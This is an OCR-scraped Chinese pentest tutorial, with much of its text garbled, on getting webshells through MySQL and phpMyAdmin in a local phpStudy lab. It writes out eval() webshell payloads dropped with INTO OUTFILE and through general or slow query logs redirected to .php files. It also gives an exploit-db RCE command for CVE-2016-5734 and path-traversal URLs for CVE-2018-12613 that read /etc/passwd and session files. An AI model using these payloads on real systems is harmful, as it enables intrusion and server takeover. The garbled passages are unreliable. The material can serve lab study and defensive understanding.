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select into outfile EIZEE A\

MBEG:
1. root IR (BEEAIRE)
2. BMubHEXTFRIF

1. BRAMESE S AR

SHOW VARIABLES LIKE "secure_file_priv";

£ localhost
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SHOW VARIABLES LIKE “secure_file_priv*

- YERERHT [ R 1 [ €

+ HEIE
Variable name Value

secure file_priv R S
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1) 3 secure_file_priv A%, AIMIERBEAXEEEB X,
2) Y secure_file_priv iy E:\, ALIEEEBAN E &,
3) % secure_file_priv I null, RARAFIZEE N4,

Notes: secure_file priv ZEEEZN mysql WEEEXH, BX=RE, ERE mysql, FEBEEX
HAER, EEFBERN null BIER, BiEE, SR T—HMAE.

o -} X, L
[client]
port=3306
[mys=ql]
default-character-set=utfs
- (myaqld] fEmysg I[N ire_ti
secure file priv= I B R ERrI S E H
port=3306 - o ’
basedir="E:/phpStudy2018/PHPTutorial /MySQL/™
datadir="E:/phpStudy2018/PHPTutorial/MysQL/data/"
o] .
sgl-mode="NO AUTO CREATE USER,NO ENGINE SUBSTITUTION"
max connections=512
Tt Ky 4
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1) BRESXE, M S2E, @: phpinfo, phpstudy R85



ph pStudy BTEH' for phpStudy 2014 not IR phpStudy 154+

| eckora ]

EESHSPET | 127.0.0.1(127.0.0.1)

SRR Windows NT DESKTOP-7TSAHES 6.2 build 9200 (Windows 8 Business Edition) i586

BERBEES Windows ot NT BEmESE Apache/2.4.10 (Win32) OpenSSL/1.0.1i mod_fogid/2.3.9
eSS Zh-CN,zh;q=0.9 EeEsman 80

HERES DESKTOP-7TSAHES SEIEEE E/WWW "

EERERE admin@phpStudy.net FHEE E:/WWW/1.php

Core bemath calendar ctype date ereg £ilter ftp hash icenv jscn merypt SPL

edbe pere Reflection session standard mysqglnd tokenizer zip z2lik likxml dem PDO b22
SimpleXML wdsx sl smlreader xmlwriter cgi-fegi openssl curl gd mbstring mysgl mysgli Phar
pdo_mysql ©DO_ODBC pdo_sqlite sockets sglite3 xmlrpe xsl mhash

PHPHECER

PHPER. (phpinfo) : PHPINFO PHPRE® (php_version) : 5.6.1
PHPIEFTTITE: CGI-FCG B SRBAE (memony_limit) 128M W L__fj ';15',:
PHPESEST (safe_mode) : x POSTISIEIES IR (post_max_size) aM -
e RAiRA (upload_max_filesize) M FREEER TR (predsion) : 14

2) BEIXNZHAIM (NESE) X (SHESNRE, NR5I5F) , EREFRE, ML
BT,

< C ¢ @ 127.0.0.1/sqlli.php

Notice: Undefined index: id in EA\WWW\sqlli.php on line 5
id=

user id: 0
user: Ixhsec

HhiTR9sqhER: select * from th_test where id=" AL FERE

3) B ANFENTE, EENAREFLE, MEEMNEIRTTE, REEXTIER,
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RIFER“HYW2563860001” FRAYARISEREEIR

Internet Inforn

AR
HTTP §{&i% 404.0 - Not Found
EERNERCENR. CESXENTUA.
mmsas |
s I1S Web Core e URL  httpe// o asp
i1 MapRequestHandler mEEE Blusr\Los 0 rih 0001 \ooo.asp
fHEfEE ASPClassic
HR(LT 0x80070002 BRES ES
B AR
o EENERETEE Web BSE EREE.
* URL $E1EiR. N P e P4
o E0BEN (R URLScan)iRE] T H o0, OO (i
T e

4) BIEW mysql FEPIBIIBE R select eedatadir; , JFMMNIARIERIZ.
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E\phpStudy\MySQl\datay| 4= F&W: E:\phpStudy\WWW
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5) EENEEEXMHER, MMERILREZ.
40 : =B httpd.conf
Apache ECE XH&F A httpd.conf

WEE sl A¥S = BR SwRE D8 - ]

o BT 0-0(1 S, WTEm 0.0005 )

SELECT HEX( LOAD_FILE( E /phpStudy/Apacheiconiiitpd conf ) )
—

2 HiT 0 T 30 &= 100 Tl
LETE: WETR - Hed@S/HexBRE W|UTREE 126160
i
HATE @ R HEes @ maEEEEe O NUEE Unicodeifi#s UTF-2i883 URLIEEE/E Unixfi (588 Ascil/Nativeil3 545 Hexi@ia/ 88
& %BNE O EF6LOS AE AT (WKT)
e e % THERET (WKE)
W LS R SIAE SIRMENIATE (WHE] # explicitly permit access to web content directories in other \

# <Directory> blocks below.

# /
/ DocumentRoot “ENWWWT |
hex(LOAD_FILE( E:/phpStudy/Apache/conf/hitpd.conf'}}

232020706FTT657 2206279207066705374756479202032303 1 3420207777 TT2ET066T0537] <Directory />
Options +Indexes +FollowSymLinks +ExecCGl

Al All P |
DR e |0 =8 30 & 100 SEERL lowCverride

gha212
A TTE '

Notes: phpstudy 23, MIGIREFR ww 0 AF] mysql BR 2, FRlA, LEEFEMUMLL
P&12N E:/phpstudy/wwiw , LR EHARZE, 1B=Z phpstudy F, mysql iR apache ZEEHIEE
?é, Eﬂ select @@datadir; ﬁiﬂﬂlﬂﬁﬁﬁﬂﬁf&#ﬂ%@ﬁ E:/phpStudy/Apache/conf/httpd.conf , 'Ii

MEEXMHESR, MMIREUEMRAIEITERN & \ww .

6) Hfth
51a0: cms exp 1®ER12, MAEESIE, REFRNEMCERORESTHTEN FHE.

3. BAXH%

select '<?php eval($_POST[cmd]); ?>' into outfile 'E:/WWW/shelll.php';



Y localhost

JmEE [sQ G¥s S HP LSE LS\ SEE BEF lsW o % =7RE 3%

‘«IMQSQLEEEW(!HEUDOSSE)

INTO OUTFILE "E:/WWW/shel1l php’

| EElBSE Ylocalhost 5T SQL & © }

| select " <7php eval($_FOST[end]); ' into outfile "E:/WW¥/shelll phy’

bl TR
i W

4. JIE A= & TR AEAT




< - C O © 127.00.1/shelll.php

Notice: Use of undefined constant cmd - assumed ‘cmd’ in E\WWW\shel1l.php on line 1

System Windows NT DESKTOP-7TSAHE 6.2 build 9200 (Windows 8 Busi
Build Date Sep 24 2014 18:53:09
Compiler MSVC11 (Visual C++ 2012)
Architecture x86
Configure Command cscript /nologo configure,js “--enable-snapshot-build” "--enable:
isapi” "——disable-nsapi” "—-without-mssqgl" "--without-pdo-mssgl’
oci=c:\php-sdk\oracle\xB6\instantclient_12_1\sdkshared” "--witt
sdk\oracle\x86\instantclient 12 1kdk,.¢|arai' "--with-enchant=5
“--enable-com-dotnet=shared” "--with-mcrypt=static™ "--withou
Server API CGI/FastCGl
Virtual Directory Support disabled
Configuration File (php.ini) Path CAWINDOWS
Loaded Configuration File E\phpStudy\phpS6niphp.ini
Scan this dir for additional .ini files {none)
A ini filac fnenel
[ ﬂ Elements Console Network Sources Performance Memory Application Security  Audits ScanAnnotation HackBar
Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~
igg Load URL http://127.0.0.1/shel1l.php
$ Split URL
»E it
o = @ Postdata () Referer () UserAgent [ Cookies Clear All
o SR
cmd=phpinfo(); S T =
) r=1 =
BR8] R

X &R shell (8]
= mysql EFl EPSCE%’Z'_' shell,

set names utf8;

anF:




select '"<?php eval($_POST[\'cmd\']);?>"' into outfile 'E:/WWW/{lPx/test.php’;

EEBA:

g5

B& E) > WWW > Rl

test.php 20

b S s HP | = S & SA L = LS
LIRS 2 "localhost” i&fT SQL il

set names utff . B B
select *<7php eval(§_POST[Y cmd\’1);7>" into outfile "E: /Wiw/Bif/test. php

ﬁ-.\“

b=153 Bt Get auto-saved query
[ EEERT 1 ¥ EEERBTIHER | {E5FEE | Rollback when finished
fEiR
sqQL #ify:

select "<7php ewal(§_POST[Y cmdy’ ]);7%" into outfile "E:/WWW/ M|/ test. php'

MysSQL iZf=]: — ¥a _J;_ij.r-,_/:__.

#l = Can't create/write to file "E:\WW2icd *\test.php’ (Errcode: 2}




BRIRUNT :
MENHAT sql RIRYEIEER, a0F:

WE

FOST /phpeyadaind/ iapert, php HTIP/L, 1 n
Fost: 192,165,433 P
|Content-Length: 511
YA
equested-Tith TMLAttRequest
ent: Mozilla/S.0 (Windows HT 10.0; Win6d; x64) AppleWebK1t/337.36 (KHTHL, like Gecko)
Chrome/81. 0. 4044. 113 Safari/537.36
Contant-Type: application/x-wwe-forn-urlencoded: charset=0TF-8
Origin: http //192, 168.43.3
Referer:
(http: /7192, 168, 43, /phpuyaduind/ index, php?target=server_sql, phpktoken=1de00f196270153candd31 Tedif B804
Accept-Encoding: gzip. deflat
Accept-Language: zhCH. zh:q=0.9
(Cockie pma_lang=sh CH. pra_collation_comnect ionmut 8 unicode_ci
phplyAdain-Telcqlivmf 4iglp2f BrBEnTal Lifvia: pua_iv—1=zcalyalegfpdfeMExr AT IINID
paaliser—1=abPr 63403 8] anlwunPoS0CwAI0%30, pmaPass-1=sHPr634X0 Bl an0vuaPoS0GwA30%30 . pma_conscle_height=92
pas_console_condig=eTEN22alvaysBxpands224 3800l seA 20820 star i st oTyA 224341 L 3442082 Zeurr entQuery$ 224 34T U TD;
|paa_censale_wode=collapse :
-l(n_sl\?d_!ﬂl-s!l‘!nﬂl.e!'snul FARIN0Ase 1 oct V20" RICKIF phph 20eval (N24_POSTRIERSC" cndWSC' 45D) RIBRIFRIE" §201ntoh
| 200utFi1e%20" ENIANPUVINCPAECABSAGENEBNAFN T Frest. pho’ 436
Cormection: close
1
is_confizmnd= 0kt oken=ide 060 c182101 S3candd3L Tedif! ver_sql, o 2AE
THE: NEINE0AS Hprev_sql_query=ksgl_ ey
.elfnnesfulfﬁﬁbﬂmlﬂs:len' 30N 3Fphpteval (N24_POSTRIERSC cad¥SC’ %3D)$IBVIFRIE’ +intotoutfilet ENIANIFWIWS
FAECAESASENEES AFROSAZF test. php” $3Bkaql_delumater=33Bkshon_query=1ESQL=REGSE08ATHEAISECka Jax_y equest=truekSL
=NEGASEAATMEENAINSCEa j0x_page_Tequest=truek_nocache=1338170035925362096
et names uttB;select ‘<7php eval(§_POSTIVemdi]),7>" into outfile A a0 D& DNest php';

HITR/1.1 200 0K

Dace: Ved, 29 Apr 2020 14:22:31 GMT

Server: Apache/2. 4.10 ('Fin]‘l OpenS5L/0. 9. 8zb mod_fogid/2. 3.9
§-Powered-By: PHP/S. 3.2

Expires: Thu, 19 Nov :IW:I 09:52: M0
T-oh_mode: 1

Cache—Control ne-cache

Vary Accept-Enceding

Set-Cackie: pma_iv-1=1{UVT1sA2BP0CEOR2014dpwgNIAID: expires=Fri
pathe/phyayadaind/ . httponly

Set—Cockie  pmalser—1=kf14BYVE1xCEIRO0r nBEO% %30 expires=Fri.
path=/phpmyadsind/: httponly

Set-Cackie 14BYVE 1xCEIt0r
Last-Nodified Wed. 25 May 2016 05:25 18 GI’
Connection: claze

Content-Type: application’jsen
Content-Length 966

GNT

29-May-2020 14:27: 34 GHT

20-May-2020 14:22: 34 GHT:

path=/phpayadnind/: httponly

["success” “\ni*-- PMA-SQL-ERAOR -->\n div
class=h"error’”><h1*w9519 ubbef (Whl-\nip-strong 5L \ubTeBwbbeliufflal\/strong \n‘a
href=\". \/url. phpTurl=ht tpAIASIFE2F dev. ayzql. comh2F doch2Frefuarh 2F 5, F42FembF zelect. htal\”
target=\"myzql_doc\” (ing erc=\’themes\/dot.gif\” titles\ \uBSE7\ubgE63\" m-\ \UBSET\UEIE3Y "
1c_b_helpl” Wodhia Wpriniprindcode clazs=\"sql\ " <presinselect "&1t.7
eval (§_POSTCVY cmdh' 1) 7gt " into outfile "B \/VWR \ubddb\ugbds\/test. php' - “Wpre:
strong MySOL \uBEdd\uSEde\uffla <\/strang’ a
\Sul, php furl=httpAIASIFS 2F dev, mysql. cond2F doch2Frefnarf 2F 5, &“Fen\"fen’a!—

False, “errar”

class=\"1con

\feodeX\n\fprindprin

hyef= ssages-server. htal\”
target=\"wysql_ ae:\' 1mg sre=h thewes\/dot. gif\" title=\ \uGSE7T\uB863Y" alt="" N

icb_helpl” WO OWaiindypiindcode \mEl = Can't create\/write to file _; A,
BN N\‘\\\uﬂD!G\nﬂUﬂE\u:ﬂﬁﬂ\uﬁn!ﬂ\uﬂnn!\ufn')f\\uxl.vﬂw' (Errcode: 2)nc \/:ne.. o) —F

sql_query K,

set+names+utf8%3B%0D%0Aselect+’ %3C%3Fphp+eval(%24_POST%5B%5C’ cm

d%5C’ %5D)%3B%3F%3E’ +into+outfile+’ E%3A%2FWWW % 2F%E6%B5%8B%E8%AF%95

%2Ftest.php’ %3B

1%

$¥E6%B5%8B%E8%AF%95

8

BN ¢B23E23CAD4

EMEIEEMTET, phpmyadmin RIBHY]

LD FF LY L0B A5 3]
Accept-Encoding: gzip, deflate

Accept-Language: =h-CN,zh:g=0.9

Cockie: paa_lang=zh CN. pma_collation_comnection=utfB_unicode_ei:
phplyAdain=Todcqllvnf g 1p2EB1rBnTqlliSvko: pra_iv-1=zcalyakegfpdfvelBrr VANIINID
paaliser—1=alPr6INNEL andvuaPoSewh I0NID. puaPass-1=abPro34Th2El andwurPoS0GwA30%3D . paa_console height=52
paa_censele_config=4TBVIlalwaysExpandbIZhIafalset 108 I2startHister PRI 2R3N al 5o8 20N 2 2cury entQui 2%3AtruenT
paa_conzole_aade=collapse

auto_saved_sql=seth inamest20utfB33BM0Ase lecth!
loutd i 1e420' %14 IFVIVEIFYEGABEAIENEENAFNS5A 2F L
Comection: clese

1ndes. PRETLAL _sal. LueZ (ULa3canddsL gaLBaEl

" $3CR3FphpA0eval (24_POSTREBSAC” cndh5e’ 85D18IENIFRIE"
. php' 438

18,

=q 2MATNE
a4 AF% 2 A1S60NENSAGRpren sql_umy-ﬂ;ul aquery
=zettmanesut FEATBAODAOAseLect” $308 IFphp-teval (824_POSTAIBNSC cndbEC’ 4501 A3BAIPRIE +intatoutfile+’ EASANDFVVIND 4

is_js_canf 0153candd31 Tedst

FAETAEZRCAADANTFtest, php' $18ksql_delimiter=-43Bkshow_quersy=1ESOL-AEGASO8ATAERNALNECka jax_request=trusk5QL-AEGRE
DAATAESNAINECRa jaxn_page_tequest=truek_necache=1588170055925363966

URL#EsE

IET-LOGKIE. DRAUSEI- SUUNNUEDI NEFIIGTSCEAINMUNIL . XDITESSTIL,
path=/phpayaduind/ httponly

Set-Cookis: pmaPasz-1=SuniDS5]hrPH3dtScEdzvdID%ID; pathe/phpayadsind/: httpenly
Last-Nodified: Ved. 25 Nay 2016 05:25: 18 GMT

Connection close

Content-Type. application’ison

Content-Lemgth: 4833

BAYIUZY L2040 eAL

("ajax_relead™: [“table_name™ "}, message” mull. "success”: true, "_title’ “<eitler192 168, 43.3 \/ localhost |
phplyAdnin 4. 4.15.60\/Titler”, *_menuBash” “fdlTeed?”. *_menn’ * id=" float ing_senubar’ >¢\/div?
id"serverinfo’ Cimp sre-\themes\/dot. gif\” £itle=\"\" alt=\"\" class=\"icen ic_z host ites\” \/iia

href=\"index. th’tehon-ler@l(‘lB("‘UlaS(BaMﬂ edSfR4RN clesi-\ item\” \ubT0d\usTal WEEES
i

localhast <\far(div class=)"clearfloary’ \fdiv)div i nucantainer
class=\"memucontainer’”><ul id=\ topmenut” clus-\ resizable-nenu\"y<lixca class=\"tab\”
href=’ T. Ea Ted5FEAA4"

b= img sre=\"themes\/dot. gif\”
\uEETO0VuEIEe UGBy alt=y" \uﬁSTﬂ\uﬁ3Ec\Me§] A%
W57 IuEIke \uBe03<\/ a0 (WU 110C11 < elass=\"tab\"
href=\"server_sql. php?domkanp : token=4dedffc 15627015 enadd]1 Ted5E Ban4) "
title=\ 500 alt=}7SOLY sqlt” W/ SOLOVa (V1410 (e class=\"tabl”
0163canddd1 TedBf 8484\° ~Cimg arc=\"themes\/dot. gifh”
statusy” \/ \u7ZbELuB00L a1k dlira

titles clazs=\"icon ic_s_db\"

ing sTom\thesss\/dot. gify”

class=\"icon ic_]

href=\"server_status, pho?do=banp :token=4de08fc15e
class=\"icom ic_3_

tatle=) " uTIbE\us00LY "
elage=\"tab\"
[ “server_privileges. phpidb=ksup: tokers
=" themes'/dot, gify” title=\ \uTE206E23T

alt=}"\uTIbA\E0DLY

51 8454k mp i ewing_wode:
" class=\"ic®
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RS
1. root fXBR (BB AR)
2. BMIALITEERR

%II secure file priv y\j null HT_I', %5%1%% select into outfile E)\j{{¢o

mysql5.0 AU E& 12 BEXE, XNEITUESHETERAEHNEREEHT
getshell,

1. BAREWEREERSTE

SHOW VARIABLES LIKE 'general%'

-




SICEBNITH sql 1D,

éﬂ:ETEEE IL.:\

2. RERBAEHXITH, AMERXAEXHHIEFMHEEER

SET GLOBAL general_log='on';
SET GLOBAL general_log_file="E:/WWW/logshell.php';

a5l B8N S BREE Il =65 o F = FRE | (@ 5I1E

BiEFE | LJ saL K& | = HF

il

1£H55% "localhost” 1m1T SQL &Hf: @
SET GLOBAL general log= on’ # MySOL IEEAEEEERNE (BIEIT) -
SET GLOBAL general Log fiLe-' 3. ihi/Losshel L sbs’ 4 IosL SEEREIRER AT (Engm"“
Pas ; I T vad li ==
Wit G, &% M logshell. php X4, RBIIEZXTH

S AT EE ] S AR .

£ logshell.php - Everything
) \E(E) EJB(V) BRS) HEE®) IEM #F|EH)

logshell.php i,
s _—— e B
| |logshell.php i = ‘E:‘{V'VWVrV

3. BEEWRIAN, B—aEEAN, REERN,

SELECT '<?php eval($_POST["cmd"]1);?>"

M1T5E sql 18E), AIUNERIERASEXHHICE TRIZ TR sql 154G,



127.0.0.1/phpmyadmin/index.php?token=6b9845 3 shell.php - Ne o
M localhost X)) EEE) #RG REY) S8N BS0 @S0 IR0 =M ETR) TedFX MWHE) =EOM) 2
. SHR GG 4wk hklex BEHI1EIENus BN m@=e
JmEE | [soL| &S B S Sm 2@l l LA | = l
[H Logshsll. phpEd |hmm—
BREEE 1 E:\phpstudy2018\PEPTutorial\MysQL\bin\mysqgld.exe, Version: 5.5.53 (MySQL Community Serwver (GPL)). starte
2 TCP Port: 3306, Named Pipe: MySQL
« BT 0- 0 (1 it Biizeem 0.0002 &) B Time Id Command  Argument
4 7 Init DB mysql
5 7 Query SHOW MASTER LOGS
o —— [ 7 Quit
SELECT '<7php evaliS_POST['cmd"]);?
e dEe P e A i 7 200415 20:53:41 1 Query SHOW VARIABLES LIKE 'generals’
] 200415 20:54:11 8 Connect root#localhost on
| 9 8 Query SET NAMES 'utf8' COLLATE 'utf8_general ci'
_— - —— 10 8 Init DB mysql
3“~%LMILEI& 11 8 Query SHOW MASTER LOGS
12 8 Quit
. 13 200419 20:54:13 % Connect rootflocalhest on
+ & 14 9 Query SET NAMES 'utf8' COLLATE 'utf8 general ci’
POST["cmd" 15 9 Init DB mysql
sEphp eval(} | t iz 16 9 Query SHOW MASTER LOGS
=?php eval($_POST["cmd"]):7> 17 9 Quit
18 200419 20:54:16 10 connect  root@localhost on
19 10 Query SET NAMES 'utf8' COLLATE 'utf8_general ci'
- I — T} 10 Quit
2w 28 [0 T8 |30 % 100 | 21 200419 20:56:17 11 Connect rootlocalhost on
22 11 Query SET NAMES 'utf8' COLLATE 'utf8_general ci'
T 23 11 Query SELECT '<?php eval($_POST["cmd"]);?>'
| J' 24 11 Query SHOW VARIABLES LIKE 'profiling’
_ B o 2 11 Quit e bt
& TR B s (SNET = 54 dh 27| 26 | \"\-4’ = 5r_£
IES 42 & TR AR AT
4. 5k = FT o
¢« > C O ©® 1270.0.1/1ogshell.php & a a % O A

EA\phpStudy2018\PHPTutoria\MySQL\bin\mysqld.exe, Version: 5.5.53 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL
mysql 7 Query SHOW MASTER LOGS 7 Quit 200419 20:53:41 1 Query SHOW VARIABLES LIKE ‘general%’ 200419 20:54:11 8 Connect root@localhost on 8 Q
‘'utf8_general_ci’ 8 Init DB mysql 8 Query SHOW MASTER LOGS 8 Quit 200419 20:54:13 9 Connect root@localhost on 9 Query SET NAMES 'utf8' COLLATE "u
SHOW MASTER LOGS 9 Quit 200419 20:54:16 10 Connect root@localhost on 10 Query SET NAMES "utfé’ COLLATE 'utf8_general_ci' 10 Quit 200419 20:56:1,
SET NAMES 'utf8’ COLLATE "utf8_general_ci’ 11 Query SELECT *

System Windows NT DESKTOP-7TSAHES 10,0 build 18363 (Windows 10) i586

Build Date 0ct 14 2016 10:15:39

Compiler MSVC11 (Visual C++ 2012)

Architecture %86

Configure Command cscript /nologo configures *~-enable-snapshot-build® *--enable-debug-pack” *—disable-zts™ "--disa

isapi” *--disable-nsapi® "--without-mssqgl® *--without-pdo-mssql® "--without-pi3web" "--with-pdo-
oci=cA\php-sak\oracle\kB6\instantclient_12_T\sclk shared” "--with-oci8-12c=c\php-
sdkoracle\xBG\instantclient_12_1\sdk shared” *—with-enchant=shared" "—enable-object-out-dir=../¢

“--gnable-cor ed” "--with-mcryp --without-analyzer" *--with-pgo”
Server API CGl/FastCGl
Virtual Directory Support disabled

& 4 Elements  Console  MNetwork  Sources  Performance  Memory  Application  Security  Audits  ScanAnnctation  HackBar  Augury

Encryption ~ Encoding~ SQL~ XSS~ LFl~ XXE~ Other~

i@ Load URL | hitp://127.0.0.1/logshell. php




R spituRL
+) Execute
¢ Post data Referer User Agent Cookies Clear All

cmd=phpinfo();

R — Y Vg
(* 4y S 5r o
- r

{ERIEERHSE getsehll

TiE:
phpstudy2014

FMRFH:
1. root ;R (BEAMER)
2. BNILEITHERR

SHGERAK, BEE/HEEXH GETSHELL 3R alRRAd, AILMER.

MySQL #EWHER MySQL RN —FHTICE, ERMRKICHEAE MySQL Fm N AT ()85
ERNIET],

BEERMINRIE:

show variables like '%long_query_time%';

MR L/sqL GWE o AP SSH 8N JSRE BREF Law o ZE = FYHE g 3F

ST

« 188 SQL IBE CAThET

TENESHT [ 598 ) [ G5 PHP {55 ] [ RS

+ i
Variable_name Value

long_guery _time | 10.000000

el B



S FERE S FTENRS (208 T) 5 FEaE

2 SQL NE{THEEE TEE, NewicREIEEWRE

1. BRENEEWNNET LRSS AR
show variables like '%slow_query%'

{8 SQL ERTANIET

'SHOW VARIABLES LIKE “slow_guery%’

+ I

Variable_name Value
slow_guery_log OFF

slew_query log_file | E\phpStudy\MySQL\data\DESKTOP-7TSAHES-slow.log

{EREGHT [ $%38 | [ GUEE PHP €58 ] [ W57 |

2, FEBETE, FHEEASXHEEZE (MREEMR, HiTE T sql 1BEfE, REK

slowlogshell.php 3X14)

set GLOBAL slow_query_log_file="E:/WWW/slowlogshell.php"';

set GLOBAL slow_query_log=on;

ErEE

« 128 SQL B ERET

SHOW VARIABLES LIKE “slow_query%"

+ B

Variable_name Value

slow_guery_log ON

slow_guery_log_file E:/WWw/slowlogshell.php

HERRSHT [R5 ]



EnNiEtasc =il

[* = ATl L
Q Nams Q) 1S (SNET) @ e W) SRR

select '<?php eval($_POST[cmd]); ?>' or sleep(1l)

| B L[sQL s v P &SBH =i5A JEE BEr |ew o %E = PHE 6 I3IF

ell.php

BT 0- 0 (1 Sit, BT 11.0003 $)
L THHE) BEE) RS WEBNY) BBN) BEQ) SE0 TRO) AM) ETR TextFX ME4E) EOW) 2
cEHHG S GE DA e 2x BE (ST ERERo® | EEMEHG =

SELECT '<?php eval($_POST[cmd]); 7='
EP(11) [ slovlegshell. phoEd I

1 E:\phpstudy\MysQL\bin\mysgld.exe, Version: 5.5.40 (MySQL Community Server (GFL)). starte

e TCP Port: 3306, Named Pipe: MySQL
3 Time Id Command Argument
4 E:\phpstudy\My5QL\bin\mysqld.exe, Version: 5.5.40 (MySQL Community Server (GFL)). starte
By 2T 0 T | 30 & | 100 {58 5 TCP Port: 3306, Named Pipe: MySQL
6 Time Id Command Argument
7 # Time: 200425 10:58:06
+ BT f  # User@Host: root[root] @ localhost [127.0.0.1]
S ¥ Query time: 20.009373 Lock_time: 0.007942 Rows_sent: 0 Rows_examined: 2
'<2php eval($_POST[cmd]): ?>' or sleep(11) 10 use mysql;
o 11 # Time: 200425 16:52:04
12 # User@Host: root[reect] @ lecalhost [127.0.0.1]
13 # Query_time: 11.000727 Lock_time: 0.000000 Rows_sent: 1 Rows_examined: 0
14 SET timestamp=1587804724;
=. = = . = 15 select '<?php eval($ FOST[cmd])}; 2>' or sleep(ll);
R BT 0 i |30 £ | 100 (2L | [ -
HS R

8 TS S T0ES (&8T) (& S & ErEE 3

4. W42 EEN



« 9 C 0 O 127.00.1/slowlogshell.php B a #

EAphpStudy\MySQL\bin\mysqld.exe, Version: 5.5.40 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time |d Command Argurr
5.5.40 (MySQL Community Server (GPL)). started with: TCP Port: 3306, Named Pipe: MySQL Time Id Command Argument # Time: 200425 10:58:06 # User@Host: ros
20.009373 Lock_time: 0.007942 Rows_sent: 0 Rows_examined: 2 use mysql; # Time: 200425 16:52:04 # User@Host: root[root] @ localhost [127.0.0.1] # Query time:
Rows_examined: 0 SET timestamp=1587804724; select "

Notice: Use of undefined constant cmd - assumed 'cmd’ in EXWWWislowlogshell.php on line 15

[x ﬂ Elements  Console Network  Sources Performance  Memory  Application Security Audits ScanAnnotation HackBar  Augury

Encryption ~ Encoding ~ SQL~ XSS+ LFl~ XXE~ Other ~

i Load URL hittp://127.0.0.1/slowlogshell.php

B Spit URL

| Ex
Y Bxecute ¥ Postdata () Referer [J UserAgent ([ Cookies Clear All

cmd=phpinfo();

phpmyadmin 4.0.x—4.6.2 i8N ITIRIEA (CVE-2016-5734)
=21 E

phpMyAdmin 4.0.x—4.6.2

4.0.x <= X < 4.0.10.16

44.x <= X <4.415.7

46.x <= X<4.6.3

B ElES=ZE : httos://www phomvadmin net/securitv/PMASA—-2016—27/



A2/ T, 7£ PHP5.4.7 LA, preg_replace BISE— DS EEILAFIR \ 0 #H1TERIFAS| &
By, T 4.6.x lRAEREE php5.5+, FTA 4.6.x RATEEMIZRE.

XE LA phpmyadmin4.4.15.6+phpstudy2014+php5.3.29 £
T E it

https://files.phpmyadmin.net/phpMyAdmin/4.4.15.6/phpMyAdmin-4.4.15.6-all-

languages.zip
IERERNXGBERBE Web BRT, XEFHNNIXHBFA phpmyadmind,

JAE]: 127.0.0.1/phpmyadmin4, root, root BNAEIiAIa],

Y0 @ 127.0.0.1/phpmyadmind/index.php?token=feb81b91801617c398ead9cd 1 705400f#PMAURL-Oiindex.ph... @ v [ I l = n
'yAdmin
deie O oBEE L saL &S M S8 LD9A SEE | BM o R OB FIE 3
TR -
-
= G 1E « BBERE: localhost via TCP/IP
[y WU ©: 5 o BEERST. MySQL
- : S uttmbd_yrice ' » IREEBEA: 5.5.40 - MySQL Community Server (GPL)
. EE: 10

'_ « AF: root@localhost
EE- : | =R - Chinese simplified v
. s

ance_schema @ EE: | pmahomme
» Apache/2.4.10 (Win32) OpenS5L/0.9.8zb mod _fegid/2.3.9
o FE: | 82% v o BIEEESHEE: libmysql - mysqind 5.0.8-dev - 20102224 -
731e5bB87ba42146a687c29995d2dfdBb4e40b325 §
i S EZRE + PHPIfE: mysqgli @
g * PHPREZ: 53.29
R

phpMyAdmin
» MEEEE: 44156

. GE

* HAER

- E .

- BREE e SAp
. BT LW 2=

EoT/ N E



R e, HBEBEAEIE.
POC it :

https://www.exploit-db.com/exploits/40185

AT

py2 .\40185.py -u root -p root -d test http://127.0.0.1/phpmyadmin4 -c "system('whoami')"

import requests
import argparse
import sys

__author__ = "

NEEIEER, BUREREIAN test, RBAN prgpwn, HITRILEES system('uname -

a'); o

EHPRIFIEEEIEER, AANBIEESR test AIGERNFE, ERNFE & A BEEIEMN,

127. 0. 0. 1/phpmyadmin4

o

(2R

1. A4 phpmyadmin ZEH#HARA
or
N I AbhA PR T T K 4 7
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phpmyadmin 4.8.1 iIfEX{H B EiFE (CVE-2018-12613)

o IMARZS

phpMyAdmin 4.8.0, 4.8.1

FIEEZZ : https://www.phpmyadmin.net/security/PMASA-2018-4/

XEIN 4.8.1+phpstudy2014 £

ERE
https://files.phpmyadmin.net/phpMyAdmin/4.8.1/phpMyAdmin-4.8.1-all-languages.zip
EREENXHFERIE Web BRET, XERNNXXHEBRRN php.

ihia): 127.0.0.1/php, root, root BI®]iA(E],

BT

Linux T:

http://127.0.0.1/php/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

Windows:

http://127.0.0.1/php/index.php?target=db_sql.php%253f/../../../../../../windows/win.1ini



€ - C O © 127.00.1/phpfindex.php?target=db_sql.php%253f/./././././..fwindows/win.ini a & B O /| =&
phpMyAdmin -
aANeBe O ommE [soL RS v BT =58 LWSA JSEE LEwM o R OSTAE (G 3T & A0
UTHERSE Sl : for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [XLServicePlatform_TplLoader] TpExistenceTime=132 TpNoExistenceTime=24269
-
& I
3 m
4
+ |
g »
;. W
P m—
e L m P
T
I . e -
’ 55

)z

#l,?i’ SELECT '<?=phpinfo()?>'; , #?IR@%?EEY Cookie EF'E"J phpMyAdmln 1E, ;ZD—F

1n
} ) moRE L[] sqL ki #E o BT S B W@ BA S EE L EM o XE S FHE (s 3IF & w0
- BTEE
 IEETTE 0 - 047 (3 1 47, EnH7E= 0.0002 ¥, )
SELECT " crmphpin€a ()75 —
U AR [iEn

i O BFe® | Gt (25 v LT | R

+ B

<?=phpinfo()?>
\a <?=phpinfo()?>

O B7em | T8 (25 v T | EERER
M S
Console  Network  Sources Performance Memory  Application  Security  Audits  ScanAnnotation  HackBar  Augury
Preserve log [ Disable cache Online v | # #
U idedataURLs ] XHR 5 CSS img Media Font Doc WS Manifest Other [J Has blocked cookies

ms 6000 ms £000 ms 10000 ms 12000 ms 14000 ms 16000 ms 18000 ms 20000 ms 22000 ms 24000 ms 26000 ms 28000 ms 3
— I —
X Headers Preview Response Initistor Timing Cookies
Request Cookies [0 show filtered out request cookies
Name |V‘a|ue Domain |Palh Expires / M.\ /o =
pma_lang zh CN 127.00.1 fphp/ | 2020-05-25.. | ~—




phpMyAdmin

BE session X1, EMIANEFHRAUE:

Linux:

/tmp 8 /var/lib/php/session
Windows:

C:\WINDOWS\Temp

XE 1] session XHEHTEFMHERRE:

C:/Users/[Username]/AppData/Local/VirtualStore/Windows/sess_ jh91sukivk3ocetpntuhamhi2tbsuds

d

